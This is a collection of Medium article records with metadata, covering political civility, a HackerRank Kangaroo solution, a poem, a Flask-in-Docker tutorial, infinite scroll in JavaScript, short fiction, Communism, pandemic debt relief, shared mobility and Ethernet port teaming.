I was raised in the 60s, 70s, and 80s in Northern CA. While politics had its ugly sides, there was this thing called civil discourse. My parents and teachers showed me — in word and in deeds — that someone who debased themselves by resorting to name-calling and expletives was hardly worthy of calling themselves a member of a democratic society. I was taught that while arguments will always take place, it is our duty as citizens and as people to carry ourselves with as much calm and intelligence as possible, and to listen to an opponent’s arguments fairly, to debate and discuss with equanimity.
My partner and I were at a crossroads in American history, and somehow we instinctively knew this. Something was coming, something which we wanted no part of, a destructive, unstoppable force growing in the hearts and minds of our fellow Americans. We could see how public debate was fast devolving into slander and name-calling.
Sides were being chosen. Elections were growing nastier by the year. Political ads were devolving into trashy videos bashing opponents, rather than information on a candidate’s positions and qualifications. Politics in Washington were turning into a bad episode of Jerry Springer. The Rush Limbaughs were getting louder and growing in popularity. The importance of decorum was already starting to fall by the wayside.
It was well and truly the time to skedaddle.
Speak not injurious words neither in jest nor earnest; scoff at none, although they give occasion. — George Washington
All the Worse Now
That was eighteen years ago. President George W Bush was in office, and the Iraq War had a lot of tempers high. Yet by today’s standards, things were damned placid and restrained. Presidents acted presidential. Debate, while nasty, was still debate, and the rules of political and public engagement were much the same as they’d been since the founding of the US. At the time what had seemed to us as churlish and uncouth, nasty and disrespectful now seem like the pinnacle of gentility. The ugliness we had seen was, we were to learn, only the beginning of the fear and loathing that would become the American public stage.
These days, much of the world looks on in baffled horror (and none too little bemusement) while present day America appears to becoming unhinged. To the rest of the globe, what is happening is little more than screeching and clawing at one another over every slight imaginable. It looks from the outside like children squabbling on the playground.
Not that this isn’t totally unexpected. The election of Donald Trump was a clear sign of things to come, and a direction that was already well under way when Trump blustered his way to power. Beyond all his other failings as a businessman and a human being, Trump is the picture of boorish loudmouthery, a man who has no time or inclination for etiquette or courtesy. He is an anathema to common decency and good manners. Hardly the picture of a statesman or a diplomat, Trump fundamentally lacks the qualities so needed when negotiating on the international stage.
And indeed he is neither statesman nor diplomat. Trump was elected by his base fundamentally because he was not diplomatic or civil. They wanted a swaggering braggadocio, a man who would say and do anything, who would put everyone — including other nations — in their place. That is precisely how he has acted, still the hollering star of his own “reality” show, but now at the head of the most powerful nation on earth.
Most world leaders think little to nothing of Trump, as was shown when a group of them at the G8 mocked the man while they thought no one was listening. Most are likely waiting in eager anticipation for Trump and his ilk to disappear into their sordid chapter in history. Trump and those like him have managed in less than four years to isolate the US on the international stage. His lack of good grace and tact has turned the US into the 800-pound gorilla no one wants to have around.
Trump’s followers — and the miasma of far-right celebrity goons which rile them nightly — trample every modicum of decency and restraint one can put in their paths.
Such TV “personalities” as Alex Jones, Sean Hannity, Tucker Carlson and many more fill the airwaves with hate speech and bold-faced fabrications in an attempt to whip their viewers into a lather at every turn. Such blatant and mean-spirited demagoguery is inconceivable in other democratic nations. It’s all but impossible to explain to non-Americans what the hell is happening.
And let us not heap it all on your conservatives, either.
Progressives gleefully hope for the suffering and failure of any and all conservatives. Left-leaning television personalities are interested in mocking and deriding for ratings, chasing laughs at the expense of anyone and everyone more often than actually creating a real sense of engagement, of presenting the complexities of issues.
Far left-leaning news outlets paint everyone right of center as fascists, dictators, racists, warmongers, capitalist pigs. No one is spared the wrath of the high priests and priestesses of Political Correctness and Cancel Culture. Step off the approved liberal line, and you’re one of the enemies of equality and social justice.
Real impartial journalism struggles these days, since truth impartially told requires readers who can accept complexity and varied positions. Journalism requires an acceptance and respect for rational facts. Those have been thrown out in favour of what looks and sounds like intentional equivocation and propaganda.
Social media is one big screaming match over the top of a digital divide. I’ve seen more politesse at house parties than what we’re seeing today on Facebook and Twitter. Most conservatives and progressives don’t even bother talking anymore. Insulting tweets and comments lobbed over the line are the primary means of engagement, adding more angry fuel to the fire.
Even a pandemic has failed to unite America. While other nations are rallying together to weather this painful and frightening time in history, America appears to be carrying on with its perpetual mudslinging. Few are speaking rationally, and those who are might as well be talking to a stone. The art of listening has lost its place in post-modern America. Logic, rationality, and yes, civility appear to have packed their bags and emigrated elsewhere in a hurry. Meanwhile, most Americans are fist-fighting on the deck of the Titanic.
Civility is not a tactic or a sentiment. It is the determined choice of trust over cynicism, of community over chaos. — George W. Bush
Why Civility Matters
I’ve learned a lot from my adopted homeland of New Zealand. I understand Rugby now, and I can cook a pavlova. I even know a few phrases of Maori. Yet one of the most important lessons my fellow Kiwis have taught me is that for all their disagreements —across all aspects of society — civility and decorum are never abandoned.
It is civility in NZ society which allows such a wide number of political parties to work together to form a coalition government. It is decorum which keeps the debates rational and without histrionics or cheap theatrics. It is this very civility and trust in our government and in each other (no matter our political differences) which have helped us to weather the covid-19 pandemic so successfully.
Was there disagreement in parliament and in society as to Prime Minister Jacinda Arden’s decisions on the handling of the pandemic? Of course, but it never turned nasty. Letters to the editor and commentary appeared in newspapers. MPs spoke their minds against her approach. Yet it never took on the kind of invective we see pouring out the US in nigh endless supply.
Do we have uncouth and uncivil windbags in New Zealand? We do, of course. No society is complete without some percentage of indelicate oafs. Yet theirs is a minority voice, one which is looked upon with distaste and even condescension. Such lacking in propriety and reasonableness is not given much credence, since why diminish yourself and your society by giving such behaviour a place at the grownup table?
Civility matters because it is the only place from which one can find compromise. Restraining ourselves so that we always treat our opponents with inherent dignity is how we begin to acquiesce that another’s opinion is as valid as our own. Decorum matters because it is the line in the sand beyond which we do not cross. Not because we can’t, but because to do so sullies and debases everyone, ourselves included.
I cannot say that I’ve never been discourteous or rancorous in the public forum. I have — for any number of banal or petty reasons — made cantankerous or vindctive remarks both on and offline. Yet I’m reformed.
I’ll debate. I’ll argue. I’ll point out hypocrisy and lack of ethics where I see them. I may even quip and have a go, but no longer with any intent to harm or humiliate.
My adopted country has reminded me of what my parents and teachers taught me all those years ago. I have learned once more the value of hearing others, and letting them have their voice same as I wish to have mine. I have been reminded of how important it is to live in and be a member of a civil society.
Will I always be heard? No. Will I be shouted down by loudmouths and cacophonous boors? Likely, especially in the short term. Yet this is a long game we’re playing. By bringing civility and decorum back, we’re seeking to restore human dignity and rational debate to all levels of society. We are using the age-old weapons of rationality, courtesy, and logic to trounce the nincompoops and louts by showing everyone how this game is really supposed to be played. Not cheating, not throwing our toys when we don’t get our way, but by engaging in the real game of intellect, of thought and ethical reflection. In bringing back etiquette and grace to our social contract, we are helping to make our voices heard and in doing so help others to be heard as well.
What more do any of us want than that? | https://medium.com/intelligence-challenged/why-civility-matters-32f9f88f9606 | ['Christopher Laine'] | 2020-05-26 11:17:17.947000+00:00 | ['Philosophy', 'Social Media', 'Debate', 'Society', 'Politics'] |
HackerRank: Kangaroo | HackerRank: Kangaroo
Problem
You are choreographing a circus show with various animals. For one act, you are given two kangaroos on a number line ready to jump in the positive direction (i.e, toward positive infinity)
The first kangaroo starts at location x1 and moves at a rate of v1 meters per jump
and moves at a rate of meters per jump The second kangaroo starts at location x2 and moves at a rate of v2 meters per jump
You have to figure out a way to get both kangaroos at the same location at the same time as part of the show. If it is possible, return YES . Otherwise, return NO .
For example, kangaroo 1 starts at x1 = 2 with a jump distance of v1 = 1 and kangaroo 2 start at x2= 1 with a jump distance of v2 = 2 . After one jump, they are both at x = 3 , as x1 + v1 = 2+1 = 3, x2 + v2 = 1+2 = 3 , so our answer is YES
Function Description
Complete the function kangaroo in the editor below. It should return YES if they reach the same position at the same time, or NO if they don’t.
The kangaroos have the following parameter(s):
x1, v1 : Integers, starting position and jump distance for kangaroo 1
: Integers, starting position and jump distance for kangaroo 1 x2, v2 : Integers, starting position and jump distance for kangaroo 2
Input Format
A single line of four space-separated integers denoting the respective values of x1, v1, x2, v2 .
Constraints
0 < x1 < x2 < 10000
1 < v1 < 10000
1 < v2 < 10000
Output Format
Print YES if they can land on the same location at the same time; otherwise, print NO .
Note: The two kangaroos must land at the same location after making the same number of jumps.
Answer and Thoughts
My first approach towards this problem is to eliminate the obvious, which is that if the position of either kangaroo is ahead, and its relative speed is also faster than that of the opposite kangaroo, then it is fairly obvious that the kangaroos will not meet. Doing so, I typed the following code:
def kangaroo(x1, v1, x2, v2):
if x1 > x2 and v1 > v2:
return "NO"
if x1 < x2 and v1 < v2:
return "NO"
else:
return "YES"
What’s interesting from that line of code is that it passes the first two test cases, which would appear while running code. However, it failed 8 test cases when trying to submit. In the process, I thought more about the process of how the kangaroos could meet; whether there was any mathematical equation that could define the process of how they would meet.
Without any idea in mind, I decided to lurk in the Discussions section of the problem, in which I found my answer. If we were to mathematically equate the meeting of the kangaroos, it would more or less look like the following:
x1 + n*v1 = x2 + n*v2
Where n is defined at the number of steps both kangaroos have jumped.
To demonstrate, let us look at an example where the sample input is (0, 3, 4, 2). Plugging the numbers into the equation above would give us the following:
0 + n*3 = 4 + n*2
The equation above would give us an answer that n = 4 , meaning that it would take four jumps in order for the kangaroos to meet. The important aspect to highlight here is that the number of jumps is a whole number, meaning that there isn’t any remainder of any kind.
Using that logic, we can change the equation to find the value of n as follows;
x1 + n*v1 = x2 + n*v2
n*v1 — n*v2 = x2 — x1
n(v1-v2) = x2-x1
n = (x2-x1)/(v1-v2)
Since n needs to be a whole number without any remainder, we can write a code that could find if the modulus of n is equal to zero. So, if (x2-x1)%(v1-v2) == 0 , then we can safely print out YES .
Of course, from that solution alone we can find another problem; if the value of both speeds is the same, then wouldn’t it return a runtime error (dividing by zero is the cardinal sin)? To combat this, I created another if statement that checks to see whether the value of both speeds is the same or different. Doing so lead me to this code:
if v1 == v2:
return "NO"
Before I continue, I have a funny story. As I was finishing up my code, there was one test case that still failed (Test Case #10, a hidden test case). I was already on the verge of losing my sanity, so I unlocked the hidden case to investigate what the problem was. The input was (43, 2, 70, 2). Immediately, I knew that this test case tested the possibility that both speeds are equal. Nevertheless, I was sure that I’ve already written the appropriate conditional statement to combat this. After seeing that my code didn’t give out any output, I rescanned my code, only to see that I had written “NO” as “N”. From this careless mistake, I could have saved 5 hackos just by skimming and debugging over the code again. A lesson in patience.
Another funny-yet-careless mistake I made was forgetting to put an else statement after writing all the proper conditional statements. This led to over half test cases failing. Obviously, another careless mistake that is bound to happen when the saw isn’t sharpened.
In the end, my code is as follows:
Which is admittedly really messy. The conditional statements aren’t branched that well. I suppose that this is time to really get the rusty skills back in shape.
Key Takeaways | https://medium.com/cold-brew-code/hackerrank-kangaroo-11d37c5af243 | ['Richard Russell'] | 2020-03-13 13:16:23.126000+00:00 | ['Algorithms', 'Coding', 'Programming'] |
Laugh Harder | Health and Wealth
The big Come Up
Why
with the repetitive
brew haha?
I prefer
the sauced up chuckle
to Webster’s big fuss
Settle down
and read the riddle
at the bottom
of your glass
Your anger is in vain
Your joy
the character of God | https://medium.com/literally-literary/laugh-harder-1fa4d86319af | ['Scott Leonardi'] | 2019-12-02 15:03:26.095000+00:00 | ['Bars', 'Poetry On Medium', 'Poetry', 'Creative Writing', 'Laughter'] |
First Steps with Flask | First Steps with Flask
For a project I had the need to bootstrap a small web application.
Usually I run around the Spring-Boot camp, but this time I thought I try creating a web app with Flask.
As always, that service gets deployed in a Docker container.
First, the project directory gets created.
> mkdir flask-first-steps && flask-first-steps
> mkdir app
Then we create two files.
./app/main.py
./Dockerfile
The Dockerfile has to look like:
FROM tiangolo/uwsgi-nginx-flask:python3.8
COPY ./app /app
And contents of main.py are:
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello, World!'
if __name__ == "__main__":
# Only for debugging while developing
app.run(host='0.0.0.0', debug=True, port=80)
Let’s build the image.
> docker build -t myflaskservice .
> docker run -d --name myflaskservice -p 8080:80 myflaskservice
Quick check to ensure its up and running curl 127.0.0.1:8080
Feel free to buy me a coffe if you liked this post.
Resources | https://medium.com/@twissmueller/first-steps-with-flask-dcf7325ad2c6 | ['Tobias Wissmueller'] | 2021-03-26 08:35:08.487000+00:00 | ['Flask Framework', 'Tutorial', 'Flask', 'Docker', 'Python'] |
A Kindness at Christmas | Father leaned the rickety wooden ladder against the eaves of the house and quickly climbed to the roof. The boy followed, handing up a heavy steel toolbox before reaching the top. The tiny white rocks covering the cheap tar paper roof crunched under the soles of his sneakers. He stood a moment and looked out over the houses on his small street. He enjoyed the view, the feeling of being larger, of seeing his street and the houses through a giant’s eyes. He could see chimneys and trees and fences from two streets more on either side.
The little Los Angeles suburban neighborhood of near-identical tract homes sweltered under the still, smog-filled air of mid-summer. Father needed to fix the swamp cooler quickly or Mother would soon be outside yelling at him from the driveway. It was Saturday, baking day, and the temperature in the house was quickly rising to rival the afternoon heat.
The boy heard a familiar voice shouting in the distance. His friend was clinging to the highest branches of his backyard tree, a block away. Barry was famous for climbing that sixty-foot pine, the tallest in the neighborhood, swaying in the highest branches even when the strong Santa Ana winds arrived in the fall. The boy had climbed it too, but not to the top. As he stepped higher on the pitched roof and waved to his friend, the tiny white rocks shifted and rolled under him, stealing an inch from every step. | https://medium.com/literally-literary/a-kindness-at-christmas-92bcbc4005cc | ['Craig Allen Heath'] | 2019-11-17 08:38:49.994000+00:00 | ['Literally Literary', 'Fear', 'Fiction', 'Love', 'Christmas'] |
Communism : In Need of Adjustments | Okay, so the general idea is that Communism doesn’t work, right?
Well, that’s because it’s ideas are abstract and vague, and not very clear, and yeah.
Ideas such as “From each according to his ability, to each according to his needs” are pretty neat and work well.
Ideas like Common Ownership and similar, regarding land ownership, etc, usually fuck up the ideology due to it being prone to abused use, so it can be manipulated.
Although, that’s what I’ve been told.
People have a very close-minded view on Communism.
Although ideas like Collectivism are not very efficient. (I am an individualist, in case you’re wondering.)
My Primary School (Eastleigh Primary School) worked in a Collectivist manner, so nothing was tailored to individual’s needs, and we all had to work the same way, thus resulting in a slow school year where shit barely got done.
Then I got to my High School, which I am in now, it uses a different Education System, my Primary School used GDE standard systems.
Whilst my High School uses Impaq.
Because it is tailored, shit get’s done fast, I’m already done with the year’s English work.
Anyways, Communism needs some changes to work better :
Change to Individualism.
Moderate and be clear on Common Ownership idea.
Etc.
Congratulations, you now have an eternal Proletariat state. | https://medium.com/@owenmarg27/communism-in-need-of-adjustments-99c097c578d1 | ['Yeoss'] | 2019-06-16 10:04:15.902000+00:00 | ['Education', 'Communism'] |
Manejando roles y permisos en Angular | ngx-permissions
Permission and roles based access control for your angular(angular 2,4,5,6,7,8+) applications(AOT, lazy modules… | https://medium.com/@asfo/manejando-roles-y-permisos-en-angular-dc55cbd37770 | [] | 2020-08-03 04:40:36.118000+00:00 | ['Angular', 'Permisos', 'Español', 'NPM', 'Roles'] |
Global Financial Institutions: Responses to Pandemic Debt Distress | By Neval Mulaomerovic, UNA-NCA Advocacy Fellow
The IMF Board of Governors meeting gets underway in 2017 | Stephen Jaffe/IMF
Since the 2008 financial crisis, low-income and middle-income countries have received an increasingly large amount of loans from private investors and creditor countries. Creditors, such as China, promoted large-scale infrastructure investment and launched several development projects across Southeast Asia and Africa. This trend created a surge in debt among developing countries, with the world’s poorest nations burdened with $2.8 billion in monthly debt repayments.
As a result of the COVID-19 pandemic, the International Monetary Fund (IMF) projected a global recession even larger than that of 2008 that would last well into 2021. Global trade and tourism have plummeted and public debt has reached a new peak worldwide as countries scramble to reinforce their healthcare systems and rebuild their economies. Whereas high-income countries rely on government spending and credit from their central banks to replenish their economies, developing countries are forced to turn to outside lenders, contributing to already high debt levels. As a result, in December of 2019, over 40 percent of low-income countries were in or approaching a state of debt distress. Zambia is just one example, owing $183 million in loans from foreign countries and $256 million in loans from commercial banks.
The Group of Twenty (G20) officially responded to these mounting concerns by agreeing to suspend debt payments to foreign countries through the end of the year under the Debt Service Suspension Initiative (DSSI). However, the plan only extends to 73 of the world’s poorest countries and excludes middle-income countries who are also struggling to keep up with debt repayments. Argentina, Ecuador, and Lebanon are some such nations who have already defaulted on their debts this year. Moreover, this plan failed to include debt relief for payments to global financial institutions and private creditors. DSSI participants may save up to $9 billion in debt repayments, but would still face an additional $33.7 billion in payments owed to hedge funds, multilateral institutions, and commercial banks. As a result of these gaps in enforcement, only 43 countries out of the 73 who qualify for the program have applied. Kenya, for example, rejected the plan, which would have a minuscule effect on its total debt, out of fear that it may result in a credit rating downgrade and restrict its future access to private creditors.
International financial institutions have repeatedly warned of the repercussions of the economic crisis, with the World Bank estimating that by 2021, the pandemic could push an additional 150 million people worldwide into extreme poverty. However, the IMF and World Bank have been slow-moving in their response, partly due to a lack of coordination with the US. Despite being their largest shareholder, the US has distanced itself from both institutions during the Trump administration. David Malpass, appointed by President Trump as head of the World Bank, criticized the institutions as “corrupt in their lending practices.” Under Malpass’s leadership, the World Bank has adopted stricter terms and conditions for borrowing, requiring countries to deregulate government industries and prioritize the private sector in exchange for loans. The Trump administration has also refused to expand its contributions to the IMF’s reserves and rejected the IMF’s proposal for a new issue of Special Drawing Rights (SDRs) as a form of COVID-19 relief, arguing that the benefits would mainly flow to wealthy countries. SDRs, which serve as a supplementary foreign exchange reserve and alternative to volatile currencies, can be traded for freely usable currencies between IMF members. A new allocation of SDRs, which was supported by European and African leaders, would have distributed at least $500 billion worth of the IMF’s exchangeable synthetic currency.
This dysfunction has clouded the pandemic responses of global financial institutions. Though it has doubled its lending in 2020 compared to 2019, World Bank disbursements have increased by less than a third. The IMF’s response has been similarly sluggish, distributing only $280 billion in loans out of its $1 trillion lending capacity since the start of the pandemic.
The IMF loans which were distributed so far have garnered considerable criticism for recommending austerity measures to 76 out of 91 borrowing countries, primarily affecting Latin American and African countries. In Ecuador, the IMF granted a $6.5 billion loan resulting in cuts to fuel subsidies, which poor households disproportionately rely on. Despite the rapid collapse of Ecuador’s healthcare system, the IMF also encouraged the government to reverse recent increases in healthcare spending and end cash transfers to the unemployed. An additional 14 countries will freeze or lower public sector wages, which may decrease the number of available healthcare practitioners.
Moreover, the IMF is promoting austerity measures in countries such as Angola, Nigeria, and Malawi, which plan to implement regressive value-added taxes (VAT) on everyday products primarily consumed by lower classes. These nations are particularly vulnerable as sub-Saharan Africa’s economy is expected to contract 3% and an additional 40 million people in the region are predicted to be driven into poverty in 2020. In Nigeria alone, 82.9 million people live below the poverty line and struggle to keep up with rising food and electricity prices due to VATs. Research indicates that austerity measures sacrifice a stable demand and employment rate for short-term, reversible economic growth. In fact, a one percent increase in GDP is tied to a 0.6 percentage point increase in the long-term unemployment rate and a 1.5 percent increase in the Gini index, a measure of income inequality with an index of zero indicating perfect equality and an index of one indicating perfect inequality.
Climate activists have also found issues with the IMF’s lending policies for hypocrisy regarding green energy. IMF chief Kristalina Georgieva has repeatedly encouraged borrowing countries to direct funds toward green technology and adopt carbon taxes, both to address the effects of climate change and boost economic growth. However, the IMF’s recent policy advice to India, Indonesia, the Philippines, Mozambique, and South Africa all promoted the use of fossil fuels. The plan urged governments to increase spending on infrastructure projects using coal power plants and adopt tax incentives for new investments without distinguishing between renewable and nonrenewable projects.
Though the COVID-19 pandemic has incited new criticisms of the IMF and World Bank, this lack of trust between developing countries and global financial institutions is nothing new, with many viewing these institutions as self-serving and prioritizing the interests of creditors over poorer nations. Without coordinated international support, however, developing countries will find it increasingly challenging to manage their growing debt. | https://medium.com/una-nca-snapshots/global-financial-institutions-responses-to-pandemic-debt-distress-cc29a27b49ac | ['Advocacy'] | 2020-12-14 14:02:34.465000+00:00 | ['Debt', 'Pandemic', 'Finance', 'Advocacy', 'UN'] |
Infinite Scroll With Photo Gallery in Vanilla Javascript | Photo by Vincentas Liskauskas on Unsplash
Like most people in the world, you probably have a facebook account.
Have you ever wondered why as you scroll down along the main page you can see more posts popping up?
Today we are going to explain how that works with vanilla javascript, css and html.
To understand how all of these works let’s first understand how the whole application will be built all together. There are three components to this:
html that contains the images and a loading indicator
a css file that controls the animation of loading indicator and how big the images are
a javascript file that contains the logic to get images, the logic to detect when the user scrolls to the bottom of the page, as well as a timeout logic to give time to load new images when user scroll down to get more images.
Let’s take a look at the following html file:
Over here, we have a container, which doesn’t contain any images at the moment. As to how the images are retrieved that will be explained once I show how the javascript logic is written.
The second part to this is loading part. The animation of the loading indicator will be controlled by the css file. This loading indicator is hidden by default but a css rule will be available to show the loading indicator. When user scrolls to the bottom of the page, an event listener will add the show class to the loading div to show the loading indicator.
Now let’s take a look at the css part:
Okay, this is a lot to absorb so let me take it down piece by piece.
Let’s take a look at the loading css rule. Notice there is an opacity of 0; this hides the loading indicator form the screen. We also have an additional rule, which is .loading.show. This will only apply when the div that contains a class of loading also contains a class of show. The show class will be added in the javascript file when user scrolls to the bottom of the page.
To make it obvious here is how it would look like behind the scene in html when the loading indicator:
<div class=”loading show”/>
I will talk about how the show class gets removed once we are moving onto the javascript file. What matters more is with .loading.show it will display the loading indicator with an opacity of 1.
Let’s take a look at the .ball css property:
Over here, we have a display: block, which generates space above and below the loading indicator. It also reserves the whole row specifically for the loading indicator itself. I also set animation-duration property, which dictates how long the animation of the loading indicator will run for.
The animation-timing-function dictates how the animation will progress(such as sliding slowly, sliding one step at a time, sliding slowly but repeating the sliding).
This screenshot won’t show the animation but should show a glimpse of how it looks like:
In our case, we let the loading circles(part of the loading indicator) slide but repeating in an infinite period, hence the animation-iteration-count property set to infinite. This determines how frequent the animation happens.
Let’s take a closer look at a few more css rules with balls:
Let’s take a look at what @keyframes mean.
@keyframes specifies an animation code. It has two values, a from and a to value. This specifies the animation effect that will take place initially gradually changed to something else.
For example, with the reveal property, we initially have an animation of scaling the circle to very small and scale up as it slowly reveals itself.
With sliding, we are only describing what its animation will be, which is sliding horizontally for 1em.
Let’s take a look at the css for every ball div. All these balls represents the dots that shape the loading indicator. With the first two ball divs, we want to reveal the loading indicator slowly and then scaling it up, displaying a loading animation. With the 3rd ball div, we simply want to slide to the right and with the 4th ball div, we reveal the loading dot and then reversing the animation(via animation-direction property).
Photo by Clint Patterson on Unsplash
A lot to digest, right? The css does a lot of the fancy animation effect with the loading indicator. Let’s stay away from the css logic and look at how the javascript logic handles things behind the scene:
There are few components to this. One is the function to get the images and another is the event listener for scrolling, which dictates when to display the loading indicator and getting new images.
Let’s take a look at the getImages function. Over here, we make an api call to get photos, with page and limit as url parameters. The page specifies which page from the url we are getting the photos from and this page gets incremented every time this function is called, rendering different pictures every time.
Once the api returns img information, we create 4 different img elements, attaching the url that points to the actual image as a src attribute. Afterward, we add each of these img element to the container. Since we just loaded new images, we can also remove the show class from the container div, effectively hiding the loading indicator.
We have another function called showLoading. We look for the loading indicator div and add the show class to it. The css logic will change the loading indicator opacity to 1 when the show class is a part of the loading indicator div.
Last but not least, we call window.addEventListener to the scrolling functionality. Over here, we try to access the scroll height and the client height from the root document, which is essentially the root node of the html page.
Well then, what is scrollTop, scrollHeight or clientHeight?
Let’s take a look at the following image:
When we have a page full of posts that will take multiple scrolls to see, we have a clientHeight, which is what we see at the moment. We have a scrollTop, which is the height of all the contents above the current posts we are seeing at the moment. We also have the scrollHeight, which is the height of all the contents in the actual page, seen or unseen. Here, we check if clientHeight + scrollTop ≥ scrollHeight -5, we will retrieve more images.
What does that mean? It means when clientHeight + scrollTop is almost equal or greater than scrollHeight, we are running out of contents to scroll down on. That’s when we know we can retrieve more photos, as a part of the requirement to get the infinite photo gallery in place.
Photo by Evan Dennis on Unsplash
So we have covered all the parts so far but why does this matter?
First of all, infinite scroll is pretty common in a lot of the platforms today such as twitters and facebook. If you are going for a frontend developer interview, there is a good chance they will ask you this question.
Secondly, this will help you get a better understanding of how css animations work and understand how the api calls are triggered on initialization and so on.
That’s it! Try implementing this yourself and see how it goes! If you want to see how this is implemented in react, you can also read the following article:
https://kaleongtong282.medium.com/infinite-scroll-with-photo-gallery-in-react-c7219b8be2a0
Happy coding. | https://medium.com/dev-genius/infinite-scroll-with-photo-gallery-in-vanilla-javascript-9dc1d3896cf7 | ['Michael Tong'] | 2020-12-02 03:52:01.123000+00:00 | ['JavaScript', 'CSS', 'Vanillajs', 'HTML', 'Css Animation'] |
The collaborative economy and its impact on today’s mobility | Click on the link to see the full article: The collaborative economy and its impact on today’s mobility
Collaborative transportation was created to allow individuals who need to travel to share their vehicles. Do you take the same route every day alone in your car? Why not do it with other users who make the same journey? It is exactly with this in mind that carpooling and car-sharing platforms have been developed.
We are all aware of the problems related to pollution and greenhouse gas emissions, largely created by congestion on car journeys. Carpooling has an ecological advantage but also an economic one. It is also more user-friendly and makes it possible to exchange the time of a journey as well as having less traffic jams.
Shared mobility has a great impact on travel today and is likely to continue to evolve.
Carpooling and car-sharing
Collaborative taxis
Shared parking
Carpooling and car-sharing
Carpooling is a mobility practice that increasingly satisfies travellers. It allows several people who want to go to the same place to make the trip together rather than doing it alone. There are carsharing platforms for “long-distance” trips that are not regular like BlaBlaCar. But there is also carpooling on a daily basis, the ComOn application allows workers to make their journeys together and thus make carpooling a real mobility habit.
Car-sharing is somewhat similar but concerns more self-service cars or individuals renting their cars on platforms such as Poppy or Drivy. Someone who uses his car very little can very well rent it and allow users who do not have one to use it in exchange for a financial compensation.
Sharing a vehicle rather than buying it can be more cost-effective and convenient. Over the years, this practice will become more and more popular and society will become accustomed to it and adopt this new custom on a daily basis.
Collaborative Taxis
Unlike conventional taxis and Chauffeur-driven Tourist Vehicles (VTC), the driver of a shared taxi is not a professional.
The emergence of collaborative taxis, such as Uber for example, allows many individuals to take a taxi without having to pay a large amount of money to make a trip. The principle is simple: an individual can earn extra income and make his or her car profitable by running errands in his or her free time. This practice makes it possible to travel simply without the need to have one’s own car.
Shared parking
You own a car park but some of your parking spaces are underused? Share it!
There are companies allowing you to rent out your underused parking spaces in order to earn additional income and optimise your resources.
Shared parking is beneficial for the owner of the car park, but also for the user who will no longer have to look for a parking space near his home or place of work.
Calculate what value you can generate with your parking
Today, we are starting to get used to the collaborative economy mainly for transportation. Shared mobility allows us to save more and pollute less, which in the current context is not negligible. In a few years, these practices will evolve a lot and become even more attractive. | https://medium.com/@bepark-en/the-collaborative-economy-and-its-impact-on-todays-mobility-b8637e7a19e9 | [] | 2020-08-11 13:18:49.167000+00:00 | ['Mobility', 'Economy', 'Collaborative Economy', 'Impact'] |
Why I Use Gigabit Equipment & Save $$$ While Fully Utilizing Xfinity Gigabit Pro 3gbps Internet | Why I Use Gigabit Equipment & Save $$$ While Fully Utilizing Xfinity Gigabit Pro 3gbps Internet #hope Follow Dec 12 · 6 min read
I did it because in my office we have gigabit fiber ISP and gigabit switches. But we had many free ports because lots of empty spaces (in the beginning). I needed extra bandwidth as I work on the cloud, so I got a two port gigabit card for my workstation (Dell 5820 10 core, 20 thread, 4+ Ghz Xeon CPU) and ended up with three gigabit ports.
It is a testament to how bad Microsoft writes code that on this “Aircraft Carrier” Workstation, Visual Studio could still use 95% CPU for no reason!
There was in instant improvement in performance. As I connect to different servers in different locations multi-threaded, I noticed improvements as soon as the new card was installed and connected to my PC. These thoughts are based on my observations when I tested the new setup.
This was an experiment fair and square. I had no expectations at all. It was just a matter of trying out: “what if?” with the limitations of the hardware in the office.
I was very surprised to see an improvement in performance
However, having worked with software interfacing with hardware before & being an Engineering Graduate in Applied Electronics, seeing the three network interfaces split the data transfer between themselves and the faster performance as a result — made sense. Do note that the ports on the PC were connected to three different ports on the main office networking switch (so not my own switch in between — that would not work)
Once we all started WFH, I improved this technique further by ethernet teaming all three ports into one windows network interface. It is an ugly way to do this — but I can confirm it works well.
This was a technique I had heard about (in the server world) to implement multi-gigabit networking with existing gigabit ports in data centers. To me, it makes sense this would work because now all data is definitely split more efficiently between three “internal” network interface physical hardware.
So, if I had a switch with a single 10 gigabit backbone port and multiple 1 gigabit ports, this is a well known technique to avoid having to get a “ full” multi-gigabit switch. Essentially, using existing PC ports to get multi-gigabit speeds without spending significant $$$.
All along I had been searching for a cheap multi gigabit switch (frantically) and only yesterday did I realize that I really don’t need multi gigabit in every port. I noticed that each multi gigabit port in a device really costs you $$.
A fully optical switch is relatively cheap, but add the backwards compatible ethernet module at $65 each and the cost goes up pretty fast. That forced me to rethink a better buying strategy.
This is why it is kind of sad, Ubiquiti does not have a device like this.
Not everyone wants to change the Ethernet cards or cables “everywhere”
I do understand though that needing everything in multi-gigabit is a more common use case for users with $$$ than me because of editing huge files and NAS and I can see why people change “everything” to multi-gigabit.
However, I still don’t think it is uncommon for one household to have two very powerful workstations, need to communicate between both in multi gigabit, and it already has more than one gigabit port on each, and cables support more than 1 gbps and they don’t want to spend on multi gigabit everywhere.
I don’t transfer single large files, I have some multithreaded programs specifically designed to be able to take advantage of this as well as different servers in physically different locations all over the world.
In most cases, there is no single destination on the Internet which will accept more than ~200 Mbps incoming, but split across 20 or 40 locations each accepting anywhere from 10–200 mbps, you can see how multiple single gigabit cards would work better than a single one. As a note, I know Azure tops out at 200 mbps incoming because I have tested that out from my office.
I am explaining all this to indicate why it makes sense because it may not be that self evident as this use case is definitely not typical.
I don’t have too much expertise in networking, but I have done extensive Wireshark based network analysis in a windows server environment a few years ago (WCF communication to be exact). WCF is not a very great remote communication technology and this was confirmed after Microsoft did not migrate it to .NET Core and also .NET 5.0 (bummer & screams from millions who use it everywhere).
I can say that I have observed multiple calls being made even as part of a single WCF call some of which could be done in parallel, and three ports are waiting on three calls to the destination — pretty sure many of the calls would be like that. A single remoting call in C#, translates to multiple calls taking a bit of time between each call to the remote server.
With my limited networking knowledge “why this works for me” seems to be a matter of:
Windows on my client machine being able to split the work between three network interfaces which can then individually talk to each remote server. Note my program is not single threaded — there is one thread per destination.
From an electronics perspective, having three physical devices splitting the work, even though the total pipe is only 1 gbps does make sense. This is because Windows is not coded very well and has lots of legacy crud slowing it down.
Hence, splitting the work at the source or the location to give you what may seem only like a slight advantage, ends up speeding it up much more than expected because of other un-optimized code.
I have so many examples of this… I just wish I could share more examples, but that is all confidential information.
Even in cases where Windows is splitting a single threaded, single package file transfer workload between three network cards, each of them communicate individually teaming together to talk to the same destination in different streams. This may seem unintuitive, but what my client sees as one destination is often behind a load balancer (as in Azure), and I know the final location is also multiple servers (like Azure Blob Storage).
I think in Linux it would not make much difference in some specific use cases within my set. But for sure, Windows has lots of baggage from the past.
